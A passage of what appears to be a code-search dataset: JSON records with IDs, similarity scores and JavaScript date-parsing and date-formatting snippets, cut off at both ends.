case 'Feb':\n return '02';\n case 'Mar':\n return '03';\n case 'Apr':\n return '04';\n case 'May':\n return '05';\n case 'Jun':\n return '06';\n case 'Jul':\n return '07';\n case 'Aug':\n return '08';\n case 'Sep':\n return '09';\n case 'Oct':\n return '10';\n case 'Nov':\n return '11';\n case 'Dec':\n return '12';\n default:\n return '';\n }\n }\n \n let date_string = new Date(raw_date).toDateString();\n let date_tokens = date_string.split(\" \");\n return `${date_tokens[3]}-${parseMonth(date_tokens[1])}-${date_tokens[2]}`\n }", "title": "" }, { "docid": "2a1a2e258da2b9c6a9ce9b6832049bbe", "score": "0.59739184", "text": "formatDate(date) {\n const temp = date.split(/[-T]/);\n return `${temp[1]}/${temp[2]}/${temp[0]}`\n }", "title": "" }, { "docid": "f714974ec58ccf58a4be21973f86ecd6", "score": "0.59718126", "text": "function formatDate(date) {\n var dateInMMDDYYYY = date.substr(0, 10);\n return dateInMMDDYYYY;\n }", "title": "" }, { "docid": "491dd80ccf906da5579d461c04ae542b", "score": "0.59690285", "text": "parseDate(formattedDate) {\n const [monthDayStr, yearStr] = formattedDate.split(', ');\n const [monthStr, dayStr] = monthDayStr.split(' ');\n return {\n month: this.getMonthInt(monthStr),\n day: parseInt(dayStr),\n year: parseInt(yearStr)\n };\n }", "title": "" }, { "docid": "69202565df1efc5b406cb0d1c3f1b71c", "score": "0.5964281", "text": "function Date2StandardFmt( date_string ) {\n if (date_string == \"\")\n return;\n var date_src_string = date_string\n if ((date_string.length!=8 && date_string.length!=10)\n || (date_string.length==10 && date_string.indexOf(\"-\")<0) ) {\n return date_src_string;\n }\n\n // no split character\n if ( date_string.indexOf(\"-\")<0 ) {\n date_string = date_string.substring(0, 4) +\"-\"+date_string.substring(4, 6)+\"-\"+date_string.substring(6);\n }\n\n var date_year = date_string.substring(0, 4);\n var date_month = date_string.substring(5, 7);\n var date_day = date_string.substring(8);\n if ( CheckDate(date_year, date_month, date_day)==false ) {\n return date_src_string;\n }\n return date_string;\n\n}", "title": "" }, { "docid": "eb0b9f47c8ae84c6d9dbcaa59f845433", "score": "0.5952188", "text": "function parseDate(raw_date) {\n function parseMonth(month) {\n switch (month) {\n case \"Jan\":\n return \"01\";\n case \"Feb\":\n return \"02\";\n case \"Mar\":\n return \"03\";\n case \"Apr\":\n return \"04\";\n case \"May\":\n return \"05\";\n case \"Jun\":\n return \"06\";\n case \"Jul\":\n return \"07\";\n case \"Aug\":\n return \"08\";\n case \"Sep\":\n return \"09\";\n case \"Oct\":\n return \"10\";\n case \"Nov\":\n return \"11\";\n case \"Dec\":\n return \"12\";\n }\n }\n\n let date_string = new Date(raw_date).toDateString();\n let date_tokens = date_string.split(\" \");\n return `${date_tokens[3]}-${parseMonth(date_tokens[1])}-${date_tokens[2]}`;\n }", "title": "" }, { "docid": "1cda1755f26e2c512c44adaf1b5d4612", "score": "0.5940726", "text": "function get_formatted_date(date) {\r\n\tfunction get_formatted_num(num, expected_length) {\r\n\t\tvar str = \"\";\r\n\t\tvar num_str = num.toString();\r\n\t\tvar num_zeros = expected_length - num_str.length;\r\n\t\tfor (var i = 0; i < num_zeros; ++i) {\r\n\t\t\tstr += '0';\r\n\t\t}\r\n\t\tstr += num_str;\r\n\t\treturn str;\r\n\t}\r\n\tvar msg = get_formatted_num(date.getFullYear(), 4) + \"-\";\r\n\tmsg += get_formatted_num(date.getMonth() + 1, 2) + \"-\";\r\n\tmsg += get_formatted_num(date.getDate(), 2) + \" \";\r\n\tmsg += get_formatted_num(date.getHours(), 2) + \":\";\r\n\tmsg += get_formatted_num(date.getMinutes(), 2) + \":\";\r\n\tmsg += get_formatted_num(date.getSeconds(), 2);\r\n\treturn msg;\r\n}", "title": "" }, { "docid": "e032718abbb68df4120d1b7f18b81a26", "score": "0.59334654", "text": "function formatDate(year, month, day) {\n //correct format YYYY-M-D\n if (month <= 9) {\n month = \"0\" + month;\n }\n if (day <= 9) {\n day = \"0\" + day;\n }\n date = year + \"-\" + month + \"-\" + day\n return date;\n}", "title": "" }, { "docid": "c9c1ebdd2e667403ee6d18837d8caa8e", "score": "0.5932053", "text": "function fixDate() {\n date1 = dt1.substring(0, 10);\n date2 = dt2.substring(0, 10);\n date3 = dt3.substring(0, 10);\n date4 = dt4.substring(0, 10);\n date5 = dt5.substring(0, 10);\n}", "title": "" }, { "docid": "05d278695ac2735e3dd581888cd20438", "score": "0.59288293", "text": "function dateReformate (str) {\n\t var y = str.substr(0,4),\n m = str.substr(4,2),\n d = str.substr(6,2);\n return d+'/'+m+'/'+y;\n}", "title": "" }, { "docid": "a1cb77a4268dd827256cc9021481944b", "score": "0.5928658", "text": "function fixDate (d) {\n var a = d.split(' ');\n var year = a.pop();\n return a.slice(0, 3).concat([year]).concat(a.slice(3)).join(' ');\n}", "title": "" }, { "docid": "fe7e017aa1634999f05db9774d02dd97", "score": "0.5927853", "text": "function getAllDateFormats(date) {\n var dateStr = convertDateToStr(date);\n var ddmmyyyy = dateStr.day + dateStr.month+ dateStr.year\n var mmddyyyy = dateStr.month + dateStr.day + dateStr.year\n var yyyymmdd = dateStr.year+dateStr.month + dateStr.day\n var ddmmyy = dateStr.day + dateStr.month+ dateStr.year.slice(-2)\n var mmddyy = dateStr.month + dateStr.day + dateStr.year.slice(-2)\n var yymmdd = dateStr.year.slice(-2)+dateStr.month + dateStr.day;\n return [ddmmyyyy, mmddyyyy,yyyymmdd, ddmmyy, mmddyy, yymmdd]\n}", "title": "" }, { "docid": "97e373417f98d2cd37c1ff29d73da602", "score": "0.58828795", "text": "function ddmmyyyy_to_mmddyyyy(theDate) {\n strSeparator = \"\"\n if (theDate.indexOf(\"/\") != -1) strSeparator = \"/\";\n if (theDate.indexOf(\"-\") != -1) strSeparator = \"-\";\n if (theDate.indexOf(\".\") != -1) strSeparator = \".\";\n if (strSeparator == \"\")\n return \"\";\n parts = theDate.split(strSeparator);\n day = parts[0];\n month = parts[1];\n year = parts[2];\n return month + strSeparator + day + strSeparator + year.substr(0, 4);\n\n}", "title": "" }, { "docid": "5808dc643aa891c572501e0b5991f189", "score": "0.58806825", "text": "switch(strDate.length)\n\t\t{\n\t\t\tcase 4:\n\t\t\t\t// no year entered\n\t\t\t\tstrDate = strDate.substr(0, 2) + \"-\" + strDate.substr(2,2) + \"-\" + new Date().getFullYear();\n\t\t\t\tbreak;\n\t\t\tcase 6:\n\t\t\t\t// only 2 digits for year\n\t\t\t\tvar strLeadYear;\n\t\t\t\tstrLeadYear = (Number(strDate.substr(4,2)) > intCenturyBreak) ? \"19\" : \"20\";\n\t\t\t\tstrDate = strDate.substr(0, 2) + \"-\" + strDate.substr(2,2) + \"-\" + strLeadYear + strDate.substr(4,2);\n\t\t\t\tbreak;\n\t\t\tcase 8:\n\t\t\t\t// no dashes\n\t\t\t\tstrDate = strDate.substr(0, 2) + \"-\" + strDate.substr(2,2) + \"-\" + strDate.substr(4,4);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\treturn \"\";\n\t\t}", "title": "" }, { "docid": "fa98e9dde02b291e82b7e4fea692a074", "score": "0.5880272", "text": "function mm_dd_yyyy(date){\r\n\tvar date1 = \"\";\r\n\tmonth = date.substring(4,6);\r\n\tyear = date.substring(0,4);\r\n\tdate = date.substring(6,8);\r\n\tdate1 = month + \"/\" + date + \"/\" + year; \r\n\treturn date1;\r\n}", "title": "" }, { "docid": "3b05fbce2bdb68379c4e171cd4a17c56", "score": "0.58738434", "text": "switch(strDate.length)\n\t\t{\n\t\t\tcase 4:\n\t\t\t\t// no year entered\n\t\t\t\tstrDate = strDate.substr(0, 2) + \"-\" + strDate.substr(2,2) + \"-\" + new Date().getFullYear() + strTime;\n\t\t\t\tbreak;\n\t\t\tcase 6:\n\t\t\t\t// only 2 digits for year\n\t\t\t\tvar strLeadYear;\n\t\t\t\tstrLeadYear = (Number(strDate.substr(4,2)) > intCenturyBreak) ? \"19\" : \"20\";\n\t\t\t\tstrDate = strDate.substr(0, 2) + \"-\" + strDate.substr(2,2) + \"-\" + strLeadYear + strDate.substr(4,2) + strTime;\n\t\t\t\tbreak;\n\t\t\tcase 8:\n\t\t\t\t// no dashes\n\t\t\t\tstrDate = strDate.substr(0, 2) + \"-\" + strDate.substr(2,2) + \"-\" + strDate.substr(4,4) + strTime;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\treturn \"\";\n\t\t}", "title": "" }, { "docid": "fb61704f0546b9a5d52a076c4477a10f", "score": "0.58532405", "text": "function getFormattedStringDate(inputDate){\n console.log(\"inputDate\");\n console.log(inputDate);\n var sptdate = String(inputDate).split(\"/\");\n var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];\n var myMonth = sptdate[0];\n var myDay = sptdate[1];\n var myYear = sptdate[2];\n var combineDatestr = myDay + \" \" + months[myMonth - 1] + \" \" + myYear;\n \n return combineDatestr;\n}", "title": "" }, { "docid": "ac98f5489378882d222bbb220df09365", "score": "0.5849745", "text": "function getDataFormat(el){\r\n var date = getDate(el)\r\n if(parseInt(date.day)<10)\r\n date.day = \"0\"+date.day;\r\n if(parseInt(date.month)<10)\r\n date.month = \"0\"+date.month;\r\n return date.day+\".\"+date.month+\".\"+date.year\r\n }", "title": "" }, { "docid": "9811e57daaca6999e5df71f4c701c493", "score": "0.5816981", "text": "function GetFormatedDate(strDay, strMonth, strYear, strDateFormat)\n{\n var strDate;\n var char;\n if (strDateFormat.indexOf('-') < 0)\n char = '/';\n else\n char = '-';\n\n if ((strDay.toString()).length < 2) {\n strDay = '0' + strDay;\n }\n if ((strMonth.toString()).length < 2) {\n strMonth = '0' + strMonth;\n }\n\n switch (strDateFormat.substring(0, 1).toUpperCase()) {\n case 'D':\n {\n strDate = strDay + char + strMonth + char + strYear;\n break;\n }\n case 'M':\n {\n strDate = strMonth + char + strDay + char + strYear;\n break;\n }\n case 'Y':\n {\n strDate = strYear + char + strMonth + char + strDay;\n break;\n }\n }\n return strDate;\n}", "title": "" }, { "docid": "16534256922d041cf0ca7c4607c9f139", "score": "0.581451", "text": "function get_formatted_date(date){\r\n function get_formatted_num(num, expected_length){\r\n var str = \"\";\r\n var num_str = num.toString();\r\n var num_zeros = expected_length - num_str.length;\r\n for(var i = 0; i < num_zeros; ++i){\r\n str += '0';\r\n }\r\n str += num_str;\r\n return str;\r\n }\r\n var msg = get_formatted_num(date.getFullYear(), 4) + \"-\";\r\n msg += get_formatted_num(date.getMonth() + 1, 2) + \"-\";\r\n msg += get_formatted_num(date.getDate(), 2) + \" \";\r\n msg += get_formatted_num(date.getHours(), 2) + \":\";\r\n msg += get_formatted_num(date.getMinutes(), 2) + \":\";\r\n msg += get_formatted_num(date.getSeconds(), 2);\r\n return msg;\r\n}", "title": "" }, { "docid": "91f30baaf63f1d6bed5caceb23fd5b2b", "score": "0.5812894", "text": "function formatDate(date,dformat){\r\n var date1 = \"\";\r\n month = date.substring(4,6);\r\n year = date.substring(0,4);\r\n date = date.substring(6,8);\r\n switch (dformat){\r\n case '1':\r\n date1 = date + \".\" + month + \".\" + year;\r\n break;\r\n case '2':\r\n date1 = month + \"/\" + date + \"/\" + year; \r\n break;\r\n case '3':\r\n date1 = month + \"-\" + date + \"-\" + year; \r\n break;\r\n case '4':\r\n date1 = year + \".\" + month + \".\" + date; \r\n break;\r\n case '5':\r\n date1 = year + \"/\" + month + \"/\" + date; \r\n break;\r\n case '6':\r\n date1 = year + \"-\" + month + \"-\" + date;\r\n break;\r\n }\r\n return (date1); \r\n}", "title": "" }, { "docid": "deb41a9054a3ea73c0e42a09ea9b1660", "score": "0.58111775", "text": "function formate_date(date_str) {\n var nums = date_str.split('/')\n nums = nums.map(n => {\n if (n.length == 1) {\n return '0' + n // pad day and month with zero\n }\n return n\n })\n return nums.join('/')\n}", "title": "" }, { "docid": "2d8716007123001a0dbc731ef9481f66", "score": "0.5809997", "text": "function formatDate(date) {\n \tvar date = date.split('T')[0];\n var d = new Date(date),\n month = '' + (d.getMonth() + 1),\n day = '' + d.getDate(),\n year = d.getFullYear();\n\n if (month.length < 2) month = '0' + month;\n if (day.length < 2) day = '0' + day;\n\n return [year, month, day].join('-');\n }", "title": "" }, { "docid": "d69b8dd2a7bcbfb74969bfdd3a2313f3", "score": "0.5799858", "text": "dateFormate(d) {\n const date = new Date(d)\n const j = date.getDate()\n const m = (date.getUTCMonth() + 1)\n const a = date.getUTCFullYear()\n return (\"0\" + j).slice(-2) + '/' + (\"0\" + m).slice(-2) + '/' + a\n }", "title": "" }, { "docid": "19e2d04e2637a41e5bb0601661390b27", "score": "0.57910717", "text": "function dateFormat(dd, mm, yyyy, yy) {\n\n if (dd < 10) { dd = '0' + dd }\n if (mm < 10) { mm = '0' + mm }\n\n\n const dateFormats = {\n \"dd-mm-yyyy\": dd + mm + yyyy,\n \"dd-yyyy-mm\": dd + yyyy + mm,\n \"mm-dd-yyyy\": mm + dd + yyyy,\n \"mm-yyyy-dd\": mm + yyyy + dd,\n \"yyyy-mm-dd\": yyyy + mm + dd,\n \"yyyy-dd-mm\": yyyy + dd + mm,\n \"dd-mm-yy\": dd + mm + yy,\n \"dd-yy-mm\": dd + yy + mm,\n \"mm-dd-yy\": mm + dd + yy,\n \"mm-yy-dd\": mm + yy + dd,\n \"yy-mm-dd\": yy + mm + dd,\n \"yy-dd-mm\": yy + dd + mm,\n }\n\n return dateFormats;\n}", "title": "" }, { "docid": "f8ee2ccc5bfbf08b508584acdb27c408", "score": "0.5788263", "text": "function formatDate(date) {\n date = new Date(date);\n let year = new Intl.DateTimeFormat(\"en\", { year: \"numeric\" }).format(date);\n let month = new Intl.DateTimeFormat(\"en\", { month: \"2-digit\" }).format(date);\n let day = new Intl.DateTimeFormat(\"en\", { day: \"2-digit\" }).format(date);\n return `${year}-${month}-${day}`\n}", "title": "" }, { "docid": "47ab4893db032981a7e2f570a10a7a68", "score": "0.5784025", "text": "function parseDay(day) {\n var dd = day.getDate();\n var mm = day.getMonth() + 1;\n var yyyy = day.getFullYear();\n if (dd < 10) {dd = '0' + dd;}\n if (mm < 10) {mm = '0' + mm;}\n return yyyy + '-' + mm + '-' + dd;\n}", "title": "" }, { "docid": "d875892d34893395ed4f05218e1a48b8", "score": "0.57774", "text": "formatDate(date) {\n const year = date.getFullYear();\n const month = (`0${(date.getMonth() + 1)}`).slice(-2);\n const day = (`0${(date.getDate())}`).slice(-2);\n\n return `${year}-${month}-${day}`;\n }", "title": "" }, { "docid": "f105f061744ccb30bfd74a4173b561ad", "score": "0.5764534", "text": "function formatDate(day, month, year) {\n return day + \"/\" + month + \"/\" + year;\n}", "title": "" }, { "docid": "8b551a2a5cb4242642dd0922afd43aa4", "score": "0.5760913", "text": "function formatDate(date) {\n let year = date.getFullYear();\n let month = String(date.getMonth()+1);\n let day = String(date.getDate());\n if (month.length < 2) {\n month = \"0\" + month;\n }\n if (day.length < 2) {\n console.log(\"Day before: \" + day);\n day = \"0\" + day;\n console.log(\"Day after: \" + day);\n }\n \n return year + \"-\" + month + \"-\" + day;\n }", "title": "" }, { "docid": "57136219a3810b37f528fab4744c9353", "score": "0.57563996", "text": "function getYYYYMMDD (date) {\n let yyyy = date.getFullYear().toString();\n let mm = (date.getMonth()+1).toString();\n let dd = date.getDate().toString();\n return yyyy + '-' + padWithZeroes(mm) + '-' + padWithZeroes(dd);\n }", "title": "" }, { "docid": "fbd9c5f47bba794c1d07e939c24a930a", "score": "0.57501674", "text": "function _getDateYYYYMMDD(date) {\n\tvar validDate = _getValidDate(date);\n\n\tif (validDate == '') {\n\t\treturn \"\";\n\t} else {\n\t\tvar month = '' + (validDate.getMonth() + 1),\n\t\t\tday = '' + validDate.getDate(),\n\t\t\tyear = validDate.getFullYear();\n\n\t\tif (month.length < 2) month = '0' + month;\n\t\tif (day.length < 2) day = '0' + day;\n\n\t\treturn [year, month, day].join('-');\n\t}\n\n}", "title": "" }, { "docid": "42d952019146a3d0ea2f0e1d69f7de5f", "score": "0.57375276", "text": "function formatDate(date){\n \tlet month = '' + (date.getMonth() + 1),\n \tday = '' + date.getDate(),\n \tyear = date.getFullYear();\n\n \tif (month.length < 2) \n \tmonth = '0' + month;\n \tif (day.length < 2) \n \tday = '0' + day;\n\n \treturn [year, month, day].join('-');\n }", "title": "" }, { "docid": "a674d324a1898ffa859d946d2773cbb4", "score": "0.573559", "text": "function getFormatedDate(date) {\n var dd = date.getDate();\n var mm = date.getMonth();\n var yy = date.getFullYear();\n return [dd, mm, yy].join('-');\n}", "title": "" }, { "docid": "6659ca659c8881bd76fb119299111abd", "score": "0.572616", "text": "function checkWithAllFormats(dd, mm, yyyy) {\n if (dd.length === 1) {\n dd = \"0\" + dd;\n }\n if (mm.length === 1) {\n mm = \"0\" + mm;\n }\n if (yyyy.length === 1) {\n yyyy = \"0\" + yyyy;\n }\n let yy = yyyy.slice(2, 4);\n if (checkPalindrome(dd + mm, yyyy.split(\"\").reverse().join(\"\"))) {\n return `${dd}-${mm}-${yyyy}(dd-mm-yy)`;\n } else if (checkPalindrome(mm + dd, yyyy.split(\"\").reverse().join(\"\"))) {\n return `${mm}-${dd}-${yyyy}(mm-dd-yyyy)`;\n } else if (\n checkPalindrome(mm + dd[0], yy.split(\"\").reverse().join(\"\") + dd[1])\n ) {\n return `${mm}-${dd}-${yy}(mm-dd-yy)`;\n } else {\n return null;\n }\n}", "title": "" }, { "docid": "f38f2d698a3fe6536d630f62ea0c2cde", "score": "0.57224494", "text": "dateformat(date) { return \"\"; }", "title": "" }, { "docid": "aea888ec338af892ba5deb84723e16c3", "score": "0.5713531", "text": "function formatDate(date) {\n\tlet res = date;\n\tswitch(date.length) {\n\t\tcase 4:\n\t\t\tres += '-00-00';\n\t\t\tbreak;\n\t\tcase 7:\n\t\t\tres += '-00';\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\tres = '+' + res + 'T00:00:00Z';\n\treturn res;\n}", "title": "" }, { "docid": "922b5e6e408be990537b22cc4bb8f769", "score": "0.5708784", "text": "function formatDate(date) {\n let splitDate = date.split('-'); // Split date at char\n let getOrdinal = n => [,'st','nd','rd'][n/10%10^1&&n%10]||'th'; // returns st,nd,rd or th based on last value\n let ordinal = getOrdinal(date); // Get ordinal\n const dateType = new Date(splitDate[2], splitDate[1], splitDate[0]);// Create datatype\n const month = dateType.toLocaleString('default', { month: 'long' });// retrieve mounth string\n // Return concact of date\n return splitDate[2] + ordinal + \" \" + month + \" \" + splitDate[0];\n} // END: formatDate", "title": "" }, { "docid": "2fbf804edcf1bd03c16f85bb6347313c", "score": "0.570704", "text": "function formatNoteDate(date){\n\tvar day = date.slice(0,2);\n\tvar month = date.slice(3,5);\n\tvar year = date.slice(6,10);\n\tvar a = new Date(year + '-' + month + '-' + day);\n\treturn new Date(year + '-' + month + '-' + day);\n}", "title": "" }, { "docid": "5b3acef40b0a0762157d3da07b33de98", "score": "0.5705703", "text": "function dateString(date)\r\n{\r\n var tanggal = date.split(\"-\");\r\n var year = tanggal[0];\r\n switch(tanggal[1])\r\n {\r\n case \"01\" : mounth = \"January\"; break;\r\n case \"02\" : mounth = \"February\"; break;\r\n case \"03\" : mounth = \"March\"; break;\r\n case \"04\" : mounth = \"April\"; break;\r\n case \"05\" : mounth = \"May\"; break;\r\n case \"06\" : mounth = \"June\"; break;\r\n case \"07\" : mounth = \"July\"; break;\r\n case \"08\" : mounth = \"August\"; break;\r\n case \"09\" : mounth = \"September\"; break;\r\n case \"10\" : mounth = \"October\"; break;\r\n case \"11\" : mounth = \"November\"; break;\r\n case \"12\" : mounth = \"December\"; break;\r\n }\r\n var day = tanggal[2];\r\n return day+\" \"+mounth+\" \"+year;\r\n}", "title": "" }, { "docid": "ce0d0692c656fddfa1f44441ad0d9c48", "score": "0.570467", "text": "function dateFormatter() {\n let date = new Date()\n // console.log(date)\n\n let day = date.getDate()\n day = convertToTwoDigit(day)\n // console.log(day)\n\n let month = date.getMonth() + 1\n month = convertToTwoDigit(month).toString()\n // console.log(month)\n\n const year = date.getFullYear()\n\n const combined = year + month + day\n return combined.toString()\n }", "title": "" }, { "docid": "ea124f50fac33d7bdd5404b474ae0863", "score": "0.5692863", "text": "function GetValidFormatedDate(strDate, strDateFormat)\n {\n var strDay;\n var strMonth;\n var strYear;\n var tempDate;\n var char;\n if (strDateFormat.indexOf('-') < 0)\n char = '/';\n else\n char = '-';\n\n switch (strDateFormat.substring(0, 1).toUpperCase()) {\n case 'D':\n tempDate = strDate.split(char);\n strDay = tempDate[0];\n strMonth = tempDate[1];\n strYear = tempDate[2];\n break;\n case 'M':\n\n tempDate = strDate.split(char);\n strMonth = tempDate[0];\n strDay = tempDate[1];\n strYear = tempDate[2];\n break;\n case 'Y':\n tempDate = strDate.split(char);\n strYear = tempDate[0];\n strMonth = tempDate[1];\n strDay = tempDate[2];\n }\n return GetFormatedDate(strDay, strMonth, strYear, strDateFormat);\n}", "title": "" }, { "docid": "4fee9a7c09ac6ad06ab3d009a520c664", "score": "0.5683148", "text": "function formatDateddMMyyyyToyyyyMMdd(d){\n var dateA = d.substr(4,4) + d.substr(2,2) + d.substr(0,2);\n return dateA;\n }", "title": "" }, { "docid": "56a858d3b7a30e79657fa3ac91ff92a5", "score": "0.5681138", "text": "function extractDay(date) {\r\n return date.split('/')[1];\r\n}", "title": "" }, { "docid": "706d19ba3c02566ad61eb73c2e501b5c", "score": "0.56756955", "text": "createDateStr(str) {\n if (str.length == 10) {\n if (/^(\\d{4})(-)(\\d{2})(-)(\\d{2})$/.test(str)) { // Test for 'YYYY-MM-DD'\n return str;\n } else if (/^(\\d{4})(\\/)(\\d{2})(\\/)(\\d{2})$/.test(str)) { // TEST for 'YYYY/MM/DD'\n return str.replace(/\\//g, '-');\n } else if (/^(\\d{4})(\\s)(\\d{2})(\\s)(\\d{2})$/.test(str)) { // Test for 'YYYY MM DD'\n return str.replace(/\\s/g, '-');\n }\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "426d485b45a65d1938fe401f9de566fb", "score": "0.5673298", "text": "function extractDate(){\n let str = document.getElementById(\"getdate\").value;\n // console.log(monthNames[parseInt(str.substr(5,2))-1]);\n // console.log(str.substr(8,2));\n let dateData = String(`${str.substr(8,2)}/${str.substr(5,2)}/2020`);\n console.log(dateData);\n console.log(getData(dateData));\n }", "title": "" }, { "docid": "ced85fc72d295ad821d0bc41ccfb95d9", "score": "0.5672514", "text": "function decodeDateInfo (dateStr) {\n const dateArr = (dateStr.split('-'));\n\n return { year: dateArr[0], month: dateArr[1], day: dateArr[2] };\n}", "title": "" }, { "docid": "2af94ceaee033f91aca6c4f278fdb333", "score": "0.5670796", "text": "function formattedDate(date) {\r\n\t\t\t\t\t\t\t var d = new Date(date),\r\n\t\t\t\t\t\t\t month = '' + (d.getMonth() + 1),\r\n\t\t\t\t\t\t\t day = '' + d.getDate(),\r\n\t\t\t\t\t\t\t year = d.getFullYear();\r\n\r\n\t\t\t\t\t\t\t if (month.length < 2) month = '0' + month;\r\n\t\t\t\t\t\t\t if (day.length < 2) day = '0' + day;\r\n\t\t\t\t\t\t\t return [year,month,day].join('-');\r\n\t\t\t\t\t\t\t}", "title": "" }, { "docid": "bb2ef83045f1bad5c1e05213d92acd7b", "score": "0.5668951", "text": "function formatDates(date) {\n var d = date.split('/');\n var month = d[0];\n var day = d[1];\n var year = d[2];\n\n return year + '-' + month + \"-\" + day;\n}", "title": "" }, { "docid": "8805880ee25b8eed28e7e39f4e4ab816", "score": "0.56527764", "text": "function getFormattedDate(_d,_format){\n\t\tvar t = _format;\n\t\tvar d = _d;\n\t\t//\n\t\tt = t.split(\"YYYY\").join(d.getFullYear())\n\t\tt = t.split(\"MM\").join(formatDigit(d.getMonth()+1,2));\n\t\tt = t.split(\"DD\").join(formatDigit(d.getDate(),2));\n\t\t//\n\t\tt = t.split(\"hh\").join(formatDigit(d.getHours(),2));\n\t\tt = t.split(\"mm\").join(formatDigit(d.getMinutes(),2));\n\t\tt = t.split(\"ss\").join(formatDigit(d.getSeconds(),2));\n\t\tt = t.split(\"ms\").join(formatDigit(d.getMilliseconds(),3));\n\t\tt = t.split(\"month\").join(month[lang][d.getMonth()]);\n\t\tt = t.split(\"week\").join(week[lang][d.getDay()]);\n\t\t//\n\t\tt = t.split(\"RRRRRRRRRR\").join(getRandamCharas(10));\n\t\tt = t.split(\"RRRRR\").join(getRandamCharas(5));\n\t\tt = t.split(\"RRRR\").join(getRandamCharas(4));\n\t\tt = t.split(\"RRR\").join(getRandamCharas(3));\n\t\tt = t.split(\"RR\").join(getRandamCharas(2));\n\t\tt = t.split(\"R\").join(getRandamCharas(1));\n\t\treturn t;\n\t}", "title": "" }, { "docid": "0d7bc41dcd16569803a908fdc01661b4", "score": "0.5652593", "text": "function getAdaptedDateFormat(date) {\n\n\t\tvar s = date.replace(/(%\\w)|_|%%/g, function(str) {\n\t\t\tswitch (str) {\n\t\t\t\tcase \"%Y\": return 'yy';\n\t\t\t\tcase \"%y\": return 'y';\n\t\t\t\t// month\n\t\t\t\tcase \"%B\": return 'MM'; // MM - month name long\n\t\t\t\tcase \"%b\": return 'M'; // M - month name short\n\t\t\t\tcase \"%m\": return 'mm'; // mm - month of year (two digit)\n\t\t\t\tcase \"%l\": return 'm'; // m - month of year (no leading zero)\n\t\t\t\t// day\n\t\t\t\tcase \"%A\": return 'DD'; // DD - day name long\n\t\t\t\tcase \"%a\": return 'D'; // D - day name short\n\t\t\t\tcase \"%E\": return 'dd'; // dd - (two digit)\n\t\t\t\tcase \"%e\": return 'd'; // d - (no leading zero)\n\t\t\t\t// for time format:\n\t\t\t\tcase \"%H\": return 'HH'; // 24h\n\t\t\t\tcase \"%I\": return 'hh'; // 12h\n\t\t\t\tcase \"%p\": return 'TT'; // AM/PM\n\t\t\t\tcase \"%M\": return 'mm';\n\t\t\t\tdefault: return '';\n\t\t\t}\n\t\t});\n\n\t\treturn s;\n\t}", "title": "" }, { "docid": "fede82c815f0bc3bdfd5f04ba79d4992", "score": "0.5647308", "text": "function formatDate(date){\r\n // Split the date int [DD, MM, YYYY]\r\n let tempDate = date.substring(5, date.length - 13).split(\" \");\r\n\r\n return new Date(tempDate);\r\n}", "title": "" }, { "docid": "185080fc79f016e1a43ef99e3fbc2a2b", "score": "0.5645834", "text": "function ossDateSplit( id )\n{\n var dparts = [];\n\n // case values correspond to OSS_Date DF_* constants\n switch( $( \"#\" + id ).attr( 'data-dateformat' ) )\n {\n case '2': // mm/dd/yyyy\n var t = $( \"#\" + id ).val().split( '/' );\n dparts[0] = t[1];\n dparts[1] = t[0];\n dparts[2] = t[2];\n break;\n\n case '3': // yyyy-mm-dd\n var t = $( \"#\" + id ).val().split( '-' );\n dparts[0] = t[2];\n dparts[1] = t[1];\n dparts[2] = t[0];\n break;\n\n case '4': // yyyy/mm/dd\n var t = $( \"#\" + id ).val().split( '/' );\n dparts[0] = t[2];\n dparts[1] = t[1];\n dparts[2] = t[0];\n break;\n\n case '5': // yyyymmdd\n dparts[0] = $( \"#\" + id ).val().substr( 6, 2 );\n dparts[1] = $( \"#\" + id ).val().substr( 4, 2 );\n dparts[2] = $( \"#\" + id ).val().substr( 0, 4 );\n break;\n\n case '1': // dd/mm/yyyy\n default:\n var t = $( \"#\" + id ).val().split( '/' );\n dparts[0] = t[0];\n dparts[1] = t[1];\n dparts[2] = t[2];\n break;\n }\n\n return dparts;\n}", "title": "" }, { "docid": "89f5f3c5b94b08f6c90a4472d027acf5", "score": "0.56430364", "text": "function giveDateFormat(date){\n var dateString = convertToString(date);\n\n var ddmmyyyy = dateString.day + dateString.month + dateString.year;\n var mmddyyyy = dateString.month + dateString.day + dateString.year;\n var yyyymmdd = dateString.year + dateString.month + dateString.day;\n var ddmmyy = dateString.day + dateString.month + dateString.year.slice(-2);\n var mmddyy = dateString.month + dateString.day + dateString.year.slice(-2);\n var yymmdd = dateString.year.slice(-2) + dateString.month + dateString.year;\n \n return([ddmmyyyy,mmddyyyy,yyyymmdd,ddmmyy,mmddyy,yymmdd]);\n \n}", "title": "" }, { "docid": "f25242ef3ddf4597e250a4163adb1593", "score": "0.5636479", "text": "function formatDate(date) {\n let d = new Date(date),\n month = '' + (d.getMonth() + 1),\n day = '' + d.getDate(),\n year = d.getFullYear();\n\n if (month.length < 2) month = '0' + month;\n if (day.length < 2) day = '0' + day;\n\n return [year, month, day].join('-');\n }", "title": "" }, { "docid": "c419db6f995ab52332eb5db5db268245", "score": "0.5617427", "text": "formatDate(date) {\n var d = new Date(date),\n month = '' + (d.getMonth() + 1),\n day = '' + d.getDate(),\n year = d.getFullYear();\n\n if (month.length < 2) \n month = '0' + month;\n\n if (day.length < 2) \n day = '0' + day;\n\n return [year, month, day].join('-');\n }", "title": "" }, { "docid": "cf563361a5f9ac5fa8bb2c79b655d104", "score": "0.5615087", "text": "function extract_date(date){\n return new Date(date.getFullYear(), date.getMonth(), date.getDate());\n}", "title": "" }, { "docid": "d89777db51905530b6b95e4dd7531dd7", "score": "0.56119955", "text": "function dateVariations(date) {\n var ddmmyyyy = date.day + date.month + date.year;\n var mmddyyyy = date.month + date.day + date.year;\n var yyyymmdd = date.year + date.month + date.day;\n var ddmmyy = date.year.slice(-2) + date.day + date.month;\n var mmddyy = date.month + date.day + date.year.slice(-2);\n var yyddmm = date.year.slice(-2) + date.day + date.month;\n\n return [ddmmyyyy, mmddyyyy, yyyymmdd, ddmmyy, mmddyy, yyddmm];\n}", "title": "" }, { "docid": "b5b7cdf2d6f80bb524b2920ffaf19940", "score": "0.5602696", "text": "function extractDate(str){\n\tvar found = str.match(/(\\d\\d?)\\/(\\d\\d?)\\/(\\d{4})/);\n\tif (found == 